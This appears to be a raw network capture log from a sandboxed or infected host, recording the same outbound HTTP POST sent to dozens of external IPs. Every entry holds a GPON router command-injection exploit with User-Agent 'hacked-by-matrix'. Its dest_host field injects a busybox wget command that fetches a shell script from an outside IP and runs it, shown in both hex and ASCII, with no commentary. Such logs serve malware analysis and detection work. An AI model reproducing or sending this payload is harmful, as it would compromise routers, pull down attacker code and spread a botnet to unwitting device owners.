Mar 21, 2024 05:17:03.579565048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.13	45198	118.49.187.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.579709053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.13	39126	94.79.240.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.579761982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.13	42628	37.235.24.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.579790115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.13	47680	94.193.235.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.581959009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.13	46550	37.65.122.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582005024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.13	59822	37.171.114.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582060099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.13	60008	5.229.81.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582112074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.13	58822	109.199.176.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582151890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.13	46832	37.6.131.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582191944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.13	52698	109.2.53.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582242966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.13	37724	5.38.243.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582295895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.13	36898	42.129.211.225	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582302094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.13	43044	210.212.25.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582335949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.13	39514	37.180.123.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582395077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.13	46178	37.248.193.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.582446098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.13	54476	178.137.106.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.598227024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.13	47188	79.192.153.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.598301888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.13	47462	178.133.102.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.598301888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.13	40834	118.23.10.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.598345995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.13	60292	118.186.128.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.598381042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.13	53800	94.29.52.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.598409891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.13	59508	118.229.161.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:09.598545074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.13	57430	94.165.232.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.605623007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.13	48450	118.174.103.183	443

Timestamp	Bytes transferred	Direction	Data
